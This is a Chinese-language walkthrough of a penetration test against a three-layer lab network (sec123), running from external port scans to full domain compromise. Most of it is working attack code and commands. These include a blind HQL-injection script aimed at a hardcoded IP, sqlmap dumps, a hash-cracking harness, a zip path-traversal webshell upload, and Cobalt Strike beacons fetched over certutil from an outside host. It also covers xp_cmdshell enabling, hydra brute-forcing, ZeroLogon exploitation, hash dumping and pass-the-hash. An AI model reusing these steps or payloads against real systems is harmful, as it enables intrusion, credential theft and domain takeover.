文章目录
三层内网 外网打点到内网域 sec123
外网打点
端口探测
拿到ip后,首先进行信息收集,masscan扫描开放端口,nmap探测端口服务
masscan -p 1-65535 xxx.xxx.xxx.xxx --rate=500
nmap -sV xxx.xxx.xxx.xxx -sC -p 80,5357,49669,8878,8088,8899,47001,49666,5985,7000 -oN sec-ports
发现存在三个网站8878、8088、8899
网站 | CMS |
---|---|
http://xxx.xxx.xxx.xxx:8088/login.jsp | TomExam网络考试中心 |
http://xxx.xxx.xxx.xxx:8899/ | Jspxcms演示主站 |
http://xxx.xxx.xxx.xxx:8878/ | 网上银行 |
网上银行 代码审计 Hsql注入漏洞
通过搜索,在GitHub上找到相关源码,得到默认账户,普通账号登录成功,管理账号登录失败。
随后发现登录处存在Hsql注入漏洞
使用sqlmap,注入失败
sqlmap -r sql.txt --dbms mysql -v 1
编写HQL注入exp
#coding:utf-8
import requests
password=""
url="http://103.121.93.206:8878/admin/login"
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
for j in payload:
exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'or '1'='" %(i,j)
print("正在注入")
data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
req = requests.post(url=url, data=data);
if "密码不正确" in req.text:
password+=j
print(password)
break
print(password)
获得管理员密码,成功进入后台
但是网站登录后无法进行getshell,也无法进行跨库查询
TomExam网络考试中心 SQL注入
注册用户后登录,一番搜索后发现一处注入点
http://xxx.xxx.xxx.xxx:8088/page.do?action=comm_news&act=list&classid=1
直接复制请求头,放sqlmap直接一把梭
sqlmap -r yh.txt -v 1 --batch -p classid --dbs
sqlmap -r yh.txt -v 1 --batch -p classid -D tomexam --tables
sqlmap -r yh.txt -v 1 --batch -p classid -D tomexam -T tm_admin --dump
得到管理员账号密码,以及全部三个网站的数据数据库数据
得到第三个网站的管理员密码
admin 51c52ae56562d8c538600385909595b009467f0b 9b2b38ad7cb62fd9
编写jspxcms密文加密脚本进行破解
获取的明文是不能直接解密的 jspxcms 登录是sha1(‘明文’,salt)加密
package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
public static void main(String[] args)throws Exception {
byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
SHA1CredentialsDigest test = new SHA1CredentialsDigest();
String fileName = "D:\\csdnpass.txt";
String fileName2 = "D:\\hashpassword2.txt";
try (Scanner sc = new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
String line = sc.nextLine();
String encPass = test.digest(line, salt);
File f = new File(fileName2);
FileWriter fw = new FileWriter(f, true);
PrintWriter pw = new PrintWriter(fw);
pw.println(line + " " + encPass);
pw.close();
}
}
}
}
最终在生成的密文中,再进行明文查找
成功得到明文密码
登录jspxcms后台getshell
使用哥斯拉生成一个jsp木马,然后打包成war包
jar -cf god.war god.jsp
制作目录穿越脚本
import zipfile
zip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)
with open("god.war","rb") as f:
data=f.read();
zip.writestr("../../../god.war",data)
zip.close()
登陆后台,在后台找个zip上传,上传后会自动解压到网站目录,tomcat会自动解压改文件
文件路径 http://xxx.xxx.xxx.xxx/god/god.jsp
使用哥斯拉进行连接,成功getshell,系统权限
内网渗透
上线cobalt strike
启动teamsever
./teamserver 192.168.1.128 123456
生成后门 artifact.exe
使用哥斯拉上传到服务器中并运行,成功上线cs
内网横向信息收集
首先查看一下IP
beacon> shell ipconfig
由于使用cs的端口扫描是非常缓慢的,如果还需要对端口进行探测最好在cs上开启代理,再设置proxychains4代理nmap进行内网扫描
在cs中开启socket代理,2333端口
beacon> socket 2333
再编辑 kali上的 /etc/proxychains4.conf文件
vi /etc/proxychains4.conf
socks4 127.0.0.1 2333
先使用fscan扫描该网段
proxychains4 ./fscan_amd64 -h 192.168.59.0/24 -np -no -nopoc
发现存在一台2003,并且拥有两块网卡 192.168.59.131 10.10.10.136
再使用masscan进行端口扫面,得到 445,80,135,8080,53,3306,1433,5900
proxychains4 masscan -p 1-65535 192.168.59.131 --rate=500
最后使用nmap
proxychains4 nmap -sT -Pn 192.168.59.131 -p 445,80,135,8080,53,3306,1433,5900 --open
发现存在SQL server 1433
hydra对内网进行弱口令穷举
使用 hydra 进行爆破
proxychains4 hydra -l sa -P top10000.txt 192.168.59.131 mssql -vV -f
成功得到用户名和密码 sa admin123
mssqlclient 登录执行命令
使用 Impacket 包中的 mssqlclient 进行登录
proxychains4 python mssqlclient.py sa@192.168.59.131
使用 xp_cmdshell 执行cmd,发现执行失败,百度后可以通过以下方式解决
-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1
GO
--重新配置
RECONFIGURE
GO
--执行想要的xp_cmdshell语句
Exec xp_cmdshell 'query user'
GO
执行命令远程下载后门exe,成功上线cs,权限mssql用户
xp_cmdshell certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/artifact.exe c:/windows/temp/artifact.exe
xp_cmdshell c:/windows/temp/artifact.exe
MS16-075 提权winserver2012
使用cs中的脚本,可加载ms16-075提权模块直接进行提权
得到system权限,成功拿下2012
内网域渗透
内网域信息收集
对server2012进行信息收集,包括ip,登录凭据,端口,网络连接等
使用hashdump,得到管理员密码哈希
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbb228c4d6ceeea0590a5e4a45b1572c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
查看域控信息,得到域控信息 ad01 sec123 ip 10.10.10.139
ZeroLogon CVE-2020-1472 获取域控权限
下载 https://github.com/leitosama/SharpZeroLogon 进行编译执行,测试存在该漏洞
execute-assembly SharpZeroLogon.exe ad01.sec123.cnk
该漏洞可以直接使域控的密码变为空值,设置空密码
beacon> execute-assembly SharpZeroLogon.exe ad01.sec123.cnk -reset
[*] Tasked beacon to run .NET program: SharpZeroLogon.exe ad01.sec123.cnk -reset
[+] host called home, sent: 114775 bytes
[+] received output:
Performing authentication attempts...
================================================================================
=====
[+] received output:
=====================================================================
[+] received output:
=========================================
Success! DC can be fully compromised by a Zerologon attack.
Done! Machine account password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
接着开启server2012的代理,再设置/etc/proxychanis.conf
使用 impacket 工具包 secretsdump 工具dump导出域内所有用户
proxychains4 python3 secretsdump.py sec123/ad01\$@10.10.10.139 -no-pass
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
利用导出的ntlm hash使用 wmiexec 工具使用NTLMhash登录域控
proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 sec123/Administrator@10.10.10.139
恢复密码
导出原sam.save、system.save、security.save文件本地导出hash用于恢复域控密码
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
下载后记得删除服务器上的这三个文件
使用 secretsdump 对导出下载的sam.save、system.save、security.save文件进行解密,得到原hash
python secretsdump.py-sam sam.save-system system.save-security security.save LOCAL
通过导出的原NTLMhash恢复域控密码
proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 3fdfacaab2b49a9c69d9980ff9343b75
再次使用 secretsdump,导出失败,证明密码已恢复,渗透结束
项目总结
-
加强了各个工具的使用,更加明确的渗透测试的全部流程,从外网打点到内网域
-
加深了 cobalt strike 的使用,以及和kali的配合交叉渗透
-
对 Java 需要更深入的学习
-
灵活使用CVE、各种漏洞
-
关注最新的漏洞信息